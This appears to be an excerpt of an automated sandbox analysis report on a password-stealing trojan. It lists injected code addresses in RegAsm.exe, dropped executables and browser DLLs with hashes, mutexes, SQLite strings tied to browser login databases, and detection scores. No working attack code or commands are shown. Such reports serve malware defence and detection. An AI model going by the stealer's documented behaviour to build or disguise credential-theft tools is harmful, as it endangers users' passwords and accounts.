Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C59C4A0	11_2_6C59C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C560512	11_2_6C560512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C55ED10	11_2_6C55ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C54FD00	11_2_6C54FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C570DD0	11_2_6C570DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5985F0	11_2_6C5985F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C559E50	11_2_6C559E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C573E50	11_2_6C573E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C554640	11_2_6C554640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C582E4E	11_2_6C582E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C53C670	11_2_6C53C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5A6E63	11_2_6C5A6E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C577E10	11_2_6C577E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C585600	11_2_6C585600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C599E30	11_2_6C599E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C53BEF0	11_2_6C53BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C54FEF0	11_2_6C54FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5A76E3	11_2_6C5A76E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C555E90	11_2_6C555E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C59E680	11_2_6C59E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C594EA0	11_2_6C594EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C577710	11_2_6C577710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C549F00	11_2_6C549F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C566FF0	11_2_6C566FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C53DFE0	11_2_6C53DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5877A0	11_2_6C5877A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C558850	11_2_6C558850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C55D850	11_2_6C55D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C57F070	11_2_6C57F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C547810	11_2_6C547810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C57B820	11_2_6C57B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C584820	11_2_6C584820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5A50C7	11_2_6C5A50C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C55C0E0	11_2_6C55C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5758E0	11_2_6C5758E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5660A0	11_2_6C5660A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C55A940	11_2_6C55A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C58B970	11_2_6C58B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5AB170	11_2_6C5AB170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C54D960	11_2_6C54D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C575190	11_2_6C575190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C592990	11_2_6C592990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C56D9B0	11_2_6C56D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C53C9A0	11_2_6C53C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C579A60	11_2_6C579A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C578AC0	11_2_6C578AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C551AF0	11_2_6C551AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C57E2F0	11_2_6C57E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5ABA90	11_2_6C5ABA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C54CAB0	11_2_6C54CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5A2AB0	11_2_6C5A2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5322A0	11_2_6C5322A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C564AA0	11_2_6C564AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C535340	11_2_6C535340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C54C370	11_2_6C54C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C57D320	11_2_6C57D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5A53C8	11_2_6C5A53C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C53F380	11_2_6C53F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5EAC60	11_2_6C5EAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C6BAC30	11_2_6C6BAC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C6A6C00	11_2_6C6A6C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5DECC0	11_2_6C5DECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C63ECD0	11_2_6C63ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C6AED70	11_2_6C6AED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C70AD50	11_2_6C70AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C768D20	11_2_6C768D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C76CDC0	11_2_6C76CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5E4DB0	11_2_6C5E4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C676D90	11_2_6C676D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C67EE70	11_2_6C67EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C6C0E20	11_2_6C6C0E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5EAEC0	11_2_6C5EAEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C680EC0	11_2_6C680EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C666E90	11_2_6C666E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C6A2F70	11_2_6C6A2F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C64EF40	11_2_6C64EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5E6F10	11_2_6C5E6F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C720F20	11_2_6C720F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C6BEFF0	11_2_6C6BEFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5E0FE0	11_2_6C5E0FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C728FB0	11_2_6C728FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5EEFB0	11_2_6C5EEFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C6B4840	11_2_6C6B4840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C630820	11_2_6C630820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C66A820	11_2_6C66A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C6E68E0	11_2_6C6E68E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C618960	11_2_6C618960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C636900	11_2_6C636900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C6FC9E0	11_2_6C6FC9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C6149F0	11_2_6C6149F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C6709A0	11_2_6C6709A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C69A9A0	11_2_6C69A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C6A09B0	11_2_6C6A09B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C65CA70	11_2_6C65CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C698A30	11_2_6C698A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C68EA00	11_2_6C68EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C65EA80	11_2_6C65EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C6E6BE0	11_2_6C6E6BE0

Source: Joe Sandbox View	Dropped File: C:\ProgramData\DGHIDAFCGI.exe 743948A05FA7B9A001B346699BC9FD4D645B755BC7EF73802B2A139288910F24
Source: Joe Sandbox View	Dropped File: C:\ProgramData\KECGHIJDGC.exe CF32C65B653C8D56548FD16554ACE5885E4E64FE145ADD15E48989B90F3230D9
Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C7609D0 appears 111 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 1FEB1C2B appears 47 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C5794D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00404610 appears 317 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004047D9 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0041039F appears 31 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 1FEB3AF3 appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 1FEB395E appears 81 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 1FEB1F5A appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 1FEB415B appears 173 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C56CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004104C1 appears 62 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 200906B1 appears 36 times

Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

Static PE information: invalid certificate

Source: nss3[1].dll.11.dr	Static PE information: No import functions for PE file found
Source: mozglue[1].dll.11.dr	Static PE information: No import functions for PE file found

Source: KECGHIJDGC.exe.4.dr	Static PE information: Data appended to the last section found
Source: nss3[1].dll.11.dr	Static PE information: Data appended to the last section found
Source: mozglue[1].dll.11.dr	Static PE information: Data appended to the last section found

Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, 00000000.00000002.2129478061.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Binary or memory string: OriginalFilenameVQP.exeL vs SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: DGHIDAFCGI.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: shbwdh[1].exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: KECGHIJDGC.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: vnfdamfs[1].exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: userCGCFCBAKKF.exe.11.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@36/51@12/10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_6C597030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

11_2_6C597030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00412439 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

4_2_00412439

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041160F CoCreateInstance,SysAllocString,_wtoi64,SysFreeString,SysFreeString,

4_2_0041160F

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4052:120:WilError_03
Source: C:\Users\userAAAAKJKJEB.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2248:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5072:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4598383557.000000001A15A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2883390565.000000006C76F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 0000000B.00000002.2880100336.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2864204893.000000001B35A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4598383557.000000001A15A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2883390565.000000006C76F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 0000000B.00000002.2880100336.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2864204893.000000001B35A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, RegAsm.exe, 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4598383557.000000001A15A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2883390565.000000006C76F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 0000000B.00000002.2880100336.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2864204893.000000001B35A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4598383557.000000001A15A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2883390565.000000006C76F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 0000000B.00000002.2880100336.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2864204893.000000001B35A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: RegAsm.exe, RegAsm.exe, 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4598383557.000000001A15A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: RegAsm.exe, 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4598383557.000000001A15A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 0000000B.00000002.2883390565.000000006C76F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 0000000B.00000002.2880100336.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2864204893.000000001B35A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4598383557.000000001A15A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2883390565.000000006C76F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 0000000B.00000002.2880100336.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2864204893.000000001B35A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 0000000B.00000002.2880100336.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2864204893.000000001B35A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: RegAsm.exe, 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4598383557.000000001A15A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: FCAAEBFHJJDAAKFIECGD.11.dr, GCGDHJ.4.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, RegAsm.exe, 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4598383557.000000001A15A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2880100336.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2864204893.000000001B35A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4598383557.000000001A15A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2880100336.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2864204893.000000001B35A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Virustotal: Detection: 34%
Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	ReversingLabs: Detection: 36%

